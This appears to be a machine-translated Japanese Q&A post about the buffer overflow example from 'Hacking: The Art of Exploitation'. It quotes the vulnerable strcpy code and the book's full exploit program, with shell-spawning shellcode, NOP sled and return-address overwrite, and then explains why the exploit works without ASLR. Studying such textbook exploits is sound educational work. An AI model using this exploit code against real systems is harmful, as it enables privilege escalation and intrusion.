バッファオーバーフローの例をArt of Exploitation book

Question

私はこの本を読んでいました。これは、ある種の良い本であり、私はexploit_notesearch.cファイルからその例を実行しています。

簡潔には作成者は、メイン関数の引数は、検索文字列にコピーされ、引数が100バイトより大きい場合、それはからリターンアドレスをオーバーフローする

notesearch.c

int main(int argc, char *argv[]) { 
    int userid, printing=1, fd; 
    char searchstring[100]; 
    if(argc > 1) // If there is an arg 
     strcpy(searchstring, argv[1]); 
    else // otherwise, 
     searchstring[0] = 0; 

からプログラムをオーバーフローしようとしメイン機能。

著者はexploit_notesearch.cにシェルコードを準備し、あなたがそのシェルコードは、NOPスレッドと結合し、そのNOPスレッドを指している必要がありますアドレスを返すされて見ることができます

char shellcode[]= 
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68" 
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89" 
"\xe1\xcd\x80"; 

int main(int argc, char *argv[]) { 

    unsigned int i, *ptr, ret, offset=270; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    bzero(command, 200); 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); 

    ret = (unsigned int) &i - offset; // Set return address 

    for(i=0; i < 160; i+=4) // Fill buffer with return address 
     *((unsigned int *)(buffer+i)) = ret; 
    memset(buffer, 0x90, 60); // Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode)-1); 

    strcat(command, "\'"); 

    system(command); //run exploit 
} 

脆弱notesearch.cを呼び出します。著者は、ローカル変数iのアドレスを参照点として使用し、270バイトを引くので、NOPスレッドのおおよその位置を把握しようとしています。

筆者が理解しているように、脆弱性のあるnotesearch.cのmain関数のスタックフレームは、exploit_notesearch.cのmain関数のスタックフレームと同じスタックセグメントに存在します。私はこれを仮定しています。なぜなら、ローカル変数iのアドレスを使ってこの操作を行うことができるからです。

しかし、このシステム（コマンド）のようにsystem（）の助けを借りて、脆弱なnotesearch.cを呼び出します。私の主なポイントは、fork（）を使用して子プロセスを生成した後、exec（）関数を使用してプロセスのイメージを変更することです。しかし、イメージが変更された場合、スタックセグメントが新しくなり、exploit_notesearch.cの主な機能のローカル変数iのアドレスを持つ操作は役に立たなくなりますが、何らかの形でこのエクスプロイトが動作してしまい、完全に混乱します。

Answer 1

著者は、単にCコンパイラは、オペレーティングシステムがaddress randomization (ASLR)を実行しないことと同じ（または非常に類似している）仮想アドレスとで、これら二つのプログラムのスタックを配置することを前提としています。これは、両方の主な機能のスタックフレームがおおよそ同じ場所にあることを意味し、この悪用を可能にします。

これは非常に頑強な搾取方法ではありません。想像しているように（現代の64ビットシステムではおそらく失敗するでしょう）。より堅牢なエクスプロイトは、return oriented programmingという形式を使用するか、または関連するスタックフレームへの既存のchar *argvポインタを利用しようとする可能性があります。